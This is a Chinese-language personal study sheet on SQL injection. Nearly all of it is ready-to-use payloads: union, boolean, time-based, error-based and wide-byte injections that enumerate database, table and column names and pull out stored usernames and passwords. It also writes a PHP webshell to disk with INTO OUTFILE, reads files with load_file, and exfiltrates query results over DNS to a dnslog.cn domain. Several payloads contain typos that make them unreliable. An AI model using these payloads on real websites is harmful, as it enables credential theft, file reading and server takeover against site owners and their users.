SQL注入学习笔记

sql注入分类

1.布尔注入
2.联合注入
3.延时注入
4.报错注入

联合查询

1.order by

select * from admin where user = 'admin' order by n//查看有几个字段数

2.union select联合查询

select * from admin where user = 'admin' union select version(),user(),database()
/*n是几，里面就有几个值，这儿n是3
user()查看当前用户
version()数据库版本
database() 查看当前数据库名*/

3.获取表：

select * from admin where user = 'admin' union select 1,2,table_name from information_scheam.tables where table_schenma=admin
//假设数据库名为admin

4.获取字段

select * from admin where user = 'admin' union select 1,2,colunm_name from information_schema.columns where table_name=user
### 5.获取字段内容

```sql
select * from admin where user = 'admin' union select 1,2,group_concat(username,password) from admin.user
//username,password是上面获取的字段
//hroup_concat()可以组合查询字段

导出数据库，获取webshell

select * from admin where user = 'admin' and 1=2 union select 1,2,'<?php phpinfo();?>' into outfile 'd:/1.php'

读文件

select * from admin where user = 'admin' and 1=2 union select 1,2,'load_file("d:/1.php")

布尔注入

1.获取数据库长度

username = 1' or length(database())>1 # &password = 111 
//从大于1开始试，大于2，大于3，如果大于n出错，则数据库名字符长度等于n-1

2.获取数据库名字

mid(database(),1,1)意思是获取数据库名的从第一个计数的第一个字母
ORD()转换为ascii码

username = 1' or ORD(mid(database(),1,1))>1 # &password = 111 
//用ASCII码慢慢试出来
username = 1' or ORD(mid(database(),2,1))>1 # &password = 111 
//接着获取第2个
//假设数据库名字为admin

3.获取表的总数

username = 1' or (select count(table_name) from infomation_schema.tables where table_schema=database()) = 1# &password = 111 
//慢慢试出表的总数

4.获取表长度

limit 0,1意思是从第一个开始截取第一个表
limit 1,1从第二个开始截取一个表

username = 1' or (select length(table_name) from infomation_schema.tables where table_schema=database() limit 0,1) = 1# &password = 111 
//慢慢试出表名长度

5.获取表名字

username = 1' or ORD(mid((select table_name from infomation_schema.tables where table_schema=admin limit 0,1) ,1,1))>1 # &password = 111 
//用ASCII码慢慢试出来
username = 1' or ORD(mid((select table_name from infomation_schema.tables where table_schema=admin limit 0,1) ,2,1))>1 # &password = 111 
//接着获取第2个
//假设表名字为user

6.获取字段总数

username = 1' or (select count(column_name) from infomation_schema.columns where table_name=user) = 1# &password = 111 
//慢慢试出字段总数

7.获取字段长度

username = 1' or (select length(column_name) from infomation_schema.columns where table_name=user limit 0,1) = 1# &password = 111 
//慢慢试出字段长度,接着获取第二个字段长度
username = 1' or (select length(column_name) from infomation_schema.columns where table_name=user limit 1,1) = 1# &password = 111 
//直到全部破解出来

8.获取字段名字

username = 1' or ORD(mid((select column_name from infomation_schema.columns where table_name=user limit 0,1) ,1,1))>1 # &password = 111 
//用ASCII码慢慢试出来
username = 1' or ORD(mid((select column_name from infomation_schema.columns where table_name=user limit 0,1) ,2,1))>1 # &password = 111 
//接着获取第一个字段的第二个字母，以此类推
username = 1' or ORD(mid((select column_name from infomation_schema.columns where table_name=user limit 1,1) ,1,1))>1 # &password = 111 
//接着获取第二个字段的第一个字母
//假设有两个字段分别为username,password

9.获取有多少个username和password

username = 1' or (select count(username) from 
admin.user) = 1# &password = 111 
username = 1' or (select count(password) from 
admin.user) = 1# &password = 111 
//慢慢试出总数

10.获取每个username和每个password的长度

username = 1' or (select length(username) from admin.user limit 0,1) = 1# &password = 111 
//慢慢试出第一个username长度,接着获取第二个
username = 1' or (select length(username) from admin.user limit 1,1) = 1# &password = 111 
//直到全部破解出来
username = 1' or (select length(password) from admin.user limit 0,1) = 1# &password = 111 
//以此类推，破解出password

11.获取username和password所有内容

username = 1' or ORD(mid((select username from admin.user limit 0,1) ,1,1))>1 # &password = 111 
//用ASCII码慢慢试出来
username = 1' or ORD(mid((select username from admin.user limit 0,1) ,2,1))>1 # &password = 111 
//接着获取第一个username的第二个字母，以此类推
username = 1' or ORD(mid((select username from admin.user limit 1,1) ,1,1))>1 # &password = 111 
//接着获取第二个username的第一个字母
username = 1' or ORD(mid((select password from admin.user limit 0,1) ,1,1))>1 # &password = 111 
//接着获取password内容

延时注入

sleep(5)代表网页延迟5秒执行
if(1=1,1,0)如果1=1 ,那么执行1
if(1=2,1,0)1不等于2,所以执行0

1.获取数据库长度

username = 1' or sleep(if(length(database())>1,5,0))# &password = 111 
//从大于1开始试，大于2，大于3，如果大于n出错，则数据库名字符长度等于n-1

2.获取数据库名字

username = 1' or sleep(if(ORD(mid(database(),1,1))>1,5,0)) # &password = 111 
//用ASCII码慢慢试出来
username = 1' or sleep(if(ORD(mid(database(),2,1))>1,5,0)) # &password = 111 
//接着获取第2个
//假设数据库名字为admin

3.获取表总数

4.获取表长度

5.获取表名

6.获取字段总数

7.获取字段长度

8.获取字段名字

9.获取各个字段内容

以上几个步骤和布尔注入类型相同，只需要在前面加入sleep()函数和if()函数

BUG注入

当表中数据达到3条以上，就可以用BUG注入
BUG注入意思是当同时使用count(),group by, rand()时，就会有错误

username = 1' or select concat(floor(rand(0)*2),"----",(select database())) as xx,count(1) group by xx # &password = 111 
//错误会显示数据库名

再接着爆破出表名

username = 1' or select concat(floor(rand(0)*2),"----",(select (table_name from information_schema.tables where table.schema=database()))) as xx,count(1) group by xx # &password = 111 
//错误会显示表名

接着按照联合注入的步骤爆破出字段名及其内容

函数报错注入

id=2 and 1=(updatexml(1,concat(0x3a,(select database())),1))

宽字节注入

当php开启魔术函数–magic_quotes_gpc函数时，单引号(’)　　双引号(")　　反斜线() 等字符都会加上反斜线
我们在id=1后面加上’ 会被自动转义为 /’ 所以导致我们输入的东西无法闭合，就不会当做代码执行，就无法产生SQL注入了。
我们在传递的参数后面加:%df’，可以看到产生了宽字节，引号成功逃逸，接着就可以常规注入！

利用dns进行注入

load_file()//读取文件
id=1? and (select (load_file(concat("\\\\",( select database()),"taf0gv.dnslog.cn"))))--+
//taf0gv.dnslog.cn为dnslog地址
id=1? and (select (load_file(concat("\\\\",( select table_name from information_schema.tables where table.schema=database() limit 0,1),"taf0gv.dnslog.cn"))))--+